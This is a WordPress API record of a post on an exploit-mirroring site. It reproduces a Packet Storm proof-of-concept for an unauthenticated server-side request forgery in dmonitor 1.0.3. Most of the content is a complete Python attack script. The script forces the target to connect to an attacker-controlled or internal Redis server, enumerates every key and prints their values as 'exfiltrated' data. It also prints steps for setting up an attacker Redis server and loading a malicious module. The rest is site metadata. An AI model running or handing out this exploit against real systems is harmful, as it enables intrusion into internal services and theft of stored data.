{"id":58924,"date":"2026-06-01T13:52:42","date_gmt":"2026-06-01T13:52:42","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=58924"},"modified":"2026-06-01T13:52:42","modified_gmt":"2026-06-01T13:52:42","slug":"dmonitor-103-server-side-request-forgery-redis-enumeration","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=58924","title":{"rendered":"\ud83d\udcc4 dmonitor 1.0.3 Server-Side Request Forgery \/ Redis Enumeration_PACKETSTORM:222360"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-01T18:14:59&#8243;,&#8221;description&#8221;:&#8221;Proof of concept demonstration exploit for dmonitor version 1.0.3 that leverages an unauthenticated server-side request forgery vulnerability to demonstrate redis access and data enumeration&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 dmonitor 1.0.3 Server-Side Request Forgery \/ Redis Enumeration&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:222360&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : dmonitor v1.0.3 \u2013 Unauthenticated SSRF Leading to Redis Access and Data Enumeration                              |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/github.com\/dhjz\/dmonitor                                                                                 |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : This Python script demonstrates a security vulnerability in dmonitor where unauthenticated requests can influence the application&#8217;s outbound connections. \\n                     The tool interacts with Redis-related API endpoints to assess whether the application can be induced to connect to arbitrary Redis servers specified by a user.\\n    \\t\\t\\t\\t \\n    [+] POC        : \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import json\\n    import sys\\n    import argparse\\n    from urllib.parse import urljoin\\n    \\n    class DMonitorSSRF:\\n        def __init__(self, target_url):\\n            self.target_url = target_url.rstrip(&#8216;\/&#8217;)\\n            self.session = requests.Session()\\n            self.redis_connected = False\\n        \\n        def init_redis(self, attacker_host, attacker_port=6379, password=\\&#8221;\\&#8221;):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Forces dmonitor to connect to attacker-controlled Redis server\\n            \\&#8221;\\&#8221;\\&#8221;\\n            endpoint = \\&#8221;\/monitor-api\/redis\/initRedis\\&#8221;\\n            params = {\\n                \\&#8221;host\\&#8221;: attacker_host,\\n                \\&#8221;port\\&#8221;: attacker_port,\\n                \\&#8221;password\\&#8221;: password\\n            }\\n            \\n            print(f\\&#8221;[*] Forcing dmonitor to connect to Redis at {attacker_host}:{attacker_port}\\&#8221;)\\n            \\n            try:\\n                response = self.session.get(\\n                    urljoin(self.target_url, endpoint),\\n                    params=params,\\n                    timeout=10\\n                )\\n                \\n                if response.status_code == 200:\\n                    data = response.json()\\n                    if data.get(\\&#8221;code\\&#8221;) == 200:\\n                        print(\\&#8221;[+] Successfully connected to attacker&#8217;s Redis server\\&#8221;)\\n                        self.redis_connected = True\\n                        return True\\n                    else:\\n                        print(f\\&#8221;[-] Failed: {data.get(&#8216;msg&#8217;)}\\&#8221;)\\n                        return False\\n                else:\\n                    print(f\\&#8221;[-] HTTP {response.status_code}\\&#8221;)\\n                    return False\\n                    \\n            except requests.exceptions.RequestException as e:\\n                print(f\\&#8221;[-] Connection error: {e}\\&#8221;)\\n                return False\\n        \\n        def list_keys(self, keyword=\\&#8221;\\&#8221;):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Lists all keys from the connected Redis server\\n            \\&#8221;\\&#8221;\\&#8221;\\n            if not self.redis_connected:\\n                print(\\&#8221;[-] Redis not initialized. Call init_redis() first\\&#8221;)\\n                return None\\n                \\n            endpoint = \\&#8221;\/monitor-api\/redis\/listKey\\&#8221;\\n            params = {\\&#8221;keyword\\&#8221;: keyword}\\n            \\n            print(f\\&#8221;[*] Enumerating Redis keys (keyword: &#8216;{keyword}&#8217;)\\&#8221;)\\n            \\n            try:\\n                response = self.session.get(\\n                    urljoin(self.target_url, endpoint),\\n                    params=params,\\n                    timeout=10\\n                )\\n                \\n                if response.status_code == 200:\\n                    data = response.json()\\n                    if data.get(\\&#8221;code\\&#8221;) == 200:\\n                        keys = data.get(\\&#8221;data\\&#8221;, [])\\n                        print(f\\&#8221;[+] Found {len(keys)} key(s): {keys}\\&#8221;)\\n                        return keys\\n                    else:\\n                        print(f\\&#8221;[-] Failed: {data.get(&#8216;msg&#8217;)}\\&#8221;)\\n                        return None\\n                else:\\n                    print(f\\&#8221;[-] HTTP {response.status_code}\\&#8221;)\\n                    return None\\n                    \\n            except requests.exceptions.RequestException as e:\\n                print(f\\&#8221;[-] Connection error: {e}\\&#8221;)\\n                return None\\n        \\n        def get_key_value(self, key):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Retrieves the value of a specific key from Redis\\n            \\&#8221;\\&#8221;\\&#8221;\\n            if not self.redis_connected:\\n                print(\\&#8221;[-] Redis not initialized. Call init_redis() first\\&#8221;)\\n                return None\\n                \\n            endpoint = \\&#8221;\/monitor-api\/redis\/getByKey\\&#8221;\\n            params = {\\&#8221;key\\&#8221;: key}\\n            \\n            print(f\\&#8221;[*] Retrieving value for key: &#8216;{key}&#8217;\\&#8221;)\\n            \\n            try:\\n                response = self.session.get(\\n                    urljoin(self.target_url, endpoint),\\n                    params=params,\\n                    timeout=10\\n                )\\n                \\n                if response.status_code == 200:\\n                    data = response.json()\\n                    if data.get(\\&#8221;code\\&#8221;) == 200:\\n                        value = data.get(\\&#8221;data\\&#8221;, {}).get(\\&#8221;value\\&#8221;)\\n                        print(f\\&#8221;[+] Value: {value}\\&#8221;)\\n                        return value\\n                    else:\\n                        print(f\\&#8221;[-] Failed: {data.get(&#8216;msg&#8217;)}\\&#8221;)\\n                        return None\\n                else:\\n                    print(f\\&#8221;[-] HTTP {response.status_code}\\&#8221;)\\n                    return None\\n                    \\n            except requests.exceptions.RequestException as e:\\n                print(f\\&#8221;[-] Connection error: {e}\\&#8221;)\\n                return None\\n        \\n        def full_exploit(self, attacker_host, attacker_port=6379):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Complete exploit chain\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*60)\\n            print(\\&#8221;dmonitor v1.0.3 &#8211; Unauthenticated SSRF Exploit\\&#8221;)\\n            print(\\&#8221;=\\&#8221;*60 + \\&#8221;\\\\n\\&#8221;)\\n            if not self.init_redis(attacker_host, attacker_port):\\n                print(\\&#8221;[-] Exploit failed at initialization stage\\&#8221;)\\n                return False\\n            keys = self.list_keys()\\n            if not keys:\\n                print(\\&#8221;[-] No keys found or enumeration failed\\&#8221;)\\n                return False\\n            print(\\&#8221;\\\\n[*] Exfiltrating data:\\&#8221;)\\n            print(\\&#8221;-\\&#8221; * 40)\\n            for key in keys:\\n                value = self.get_key_value(key)\\n                if value:\\n                    print(f\\&#8221;  {key} =\\u003e {value}\\&#8221;)\\n            \\n            print(\\&#8221;\\\\n[+] Exploit completed successfully!\\&#8221;)\\n            return True\\n        \\n        def internal_scan(self, target_host, target_port, redis_command=\\&#8221;\\&#8221;):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            SSRF to internal Redis servers\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;[*] Attempting to connect to internal Redis: {target_host}:{target_port}\\&#8221;)\\n            \\n            if self.init_redis(target_host, target_port):\\n                print(\\&#8221;[+] Successfully connected to internal Redis server\\&#8221;)\\n                return self.list_keys()\\n            return None\\n    \\n    def setup_attacker_redis():\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Instructions for setting up attacker&#8217;s Redis server\\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(\\&#8221;\\\\n[!] Attacker Redis Server Setup:\\&#8221;)\\n        print(\\&#8221;    # Install Redis if not already installed\\&#8221;)\\n        print(\\&#8221;    $ sudo apt install redis-server  # Debian\/Ubuntu\\&#8221;)\\n        print(\\&#8221;    $ brew install redis             # macOS\\&#8221;)\\n        print(\\&#8221;    # Or download from https:\/\/redis.io\/download\\&#8221;)\\n        print(\\&#8221;\\\\n    # Start Redis server\\&#8221;)\\n        print(\\&#8221;    $ redis-server &#8211;port 6379\\&#8221;)\\n        print(\\&#8221;\\\\n    # Set test data\\&#8221;)\\n        print(\\&#8221;    $ redis-cli set test_key \\\\\\&#8221;SSRF_CONFIRMED\\\\\\&#8221;\\&#8221;)\\n        print(\\&#8221;    $ redis-cli set sensitive_data \\\\\\&#8221;SECRET_VALUE\\\\\\&#8221;\\&#8221;)\\n        print(\\&#8221;\\\\n    # For advanced exploitation, set up malicious Redis module\\&#8221;)\\n        print(\\&#8221;    $ redis-cli MODULE LOAD \/path\/to\/malicious.so\\&#8221;)\\n        print(\\&#8221;-\\&#8221; * 60)\\n    \\n    def main():\\n        parser = argparse.ArgumentParser(description=&#8217;dmonitor v1.0.3 SSRF Exploit&#8217;)\\n        parser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;target&#8217;, required=True, \\n                            help=&#8217;Target dmonitor URL (e.g., http:\/\/192.168.1.102:40001)&#8217;)\\n        parser.add_argument(&#8216;-a&#8217;, &#8216;&#8211;attacker-host&#8217;, required=True,\\n                            help=&#8217;Attacker-controlled Redis server IP&#8217;)\\n        parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;attacker-port&#8217;, default=6379, type=int,\\n                            help=&#8217;Attacker Redis port (default: 6379)&#8217;)\\n        parser.add_argument(&#8216;-i&#8217;, &#8216;&#8211;internal-scan&#8217;, nargs=2, metavar=(&#8216;HOST&#8217;, &#8216;PORT&#8217;),\\n                            help=&#8217;Scan internal Redis server (SSRF to internal)&#8217;)\\n        parser.add_argument(&#8216;&#8211;password&#8217;, default=&#8221;,\\n                            help=&#8217;Redis password if required&#8217;)\\n        \\n        args = parser.parse_args()\\n        if len(sys.argv) == 1:\\n            parser.print_help()\\n            setup_attacker_redis()\\n            sys.exit(1)\\n        \\n        exploit = DMonitorSSRF(args.target)\\n        if args.internal_scan:\\n            internal_host, internal_port = args.internal_scan\\n            exploit.internal_scan(internal_host, int(internal_port))\\n        else:\\n            exploit.full_exploit(args.attacker_host, args.attacker_port)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/222360&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/222360\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-01T18:14:59&#8243;,&#8221;description&#8221;:&#8221;Proof of concept demonstration exploit for dmonitor version 1.0.3 that leverages an unauthenticated server-side request forgery vulnerability to demonstrate redis access and data enumeration&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 dmonitor&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-58924","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 dmonitor 1.0.3 Server-Side Request Forgery \/ Redis Enumeration_PACKETSTORM:222360 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=58924\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 dmonitor 1.0.3 Server-Side Request Forgery \/ Redis Enumeration_PACKETSTORM:222360 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-01T18:14:59&#8243;,&#8221;description&#8221;:&#8221;Proof of concept demonstration exploit for dmonitor version 1.0.3 that leverages an unauthenticated server-side request forgery vulnerability to demonstrate redis access and data enumeration&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 dmonitor...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=58924\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-01T13:52:42+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58924#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58924\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 dmonitor 1.0.3 Server-Side Request Forgery \\\/ Redis Enumeration_PACKETSTORM:222360\",\"datePublished\":\"2026-06-01T13:52:42+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58924\"},\"wordCount\":1185,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=58924#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58924\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58924\",\"name\":\"\ud83d\udcc4 dmonitor 1.0.3 Server-Side Request Forgery \\\/ Redis Enumeration_PACKETSTORM:222360 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-01T13:52:42+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58924#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=58924\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58924#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 dmonitor 1.0.3 Server-Side Request Forgery \\\/ Redis Enumeration_PACKETSTORM:222360\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 dmonitor 1.0.3 Server-Side Request Forgery \/ Redis Enumeration_PACKETSTORM:222360 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=58924","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 dmonitor 1.0.3 Server-Side Request Forgery \/ Redis Enumeration_PACKETSTORM:222360 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-01T18:14:59&#8243;,&#8221;description&#8221;:&#8221;Proof of concept demonstration exploit for dmonitor version 1.0.3 that leverages an unauthenticated server-side request forgery vulnerability to demonstrate redis access and data enumeration&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 dmonitor...","og_url":"https:\/\/zero.redgem.net\/?p=58924","og_site_name":"zero redgem","article_published_time":"2026-06-01T13:52:42+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=58924#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=58924"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 dmonitor 1.0.3 Server-Side Request Forgery \/ Redis Enumeration_PACKETSTORM:222360","datePublished":"2026-06-01T13:52:42+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=58924"},"wordCount":1185,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=58924#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=58924","url":"https:\/\/zero.redgem.net\/?p=58924","name":"\ud83d\udcc4 dmonitor 1.0.3 Server-Side Request Forgery \/ Redis Enumeration_PACKETSTORM:222360 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-01T13:52:42+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=58924#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=58924"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=58924#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 dmonitor 1.0.3 Server-Side Request Forgery \/ Redis Enumeration_PACKETSTORM:222360"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/58924","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=58924"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/58924\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=58924"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=58924"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=58924"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}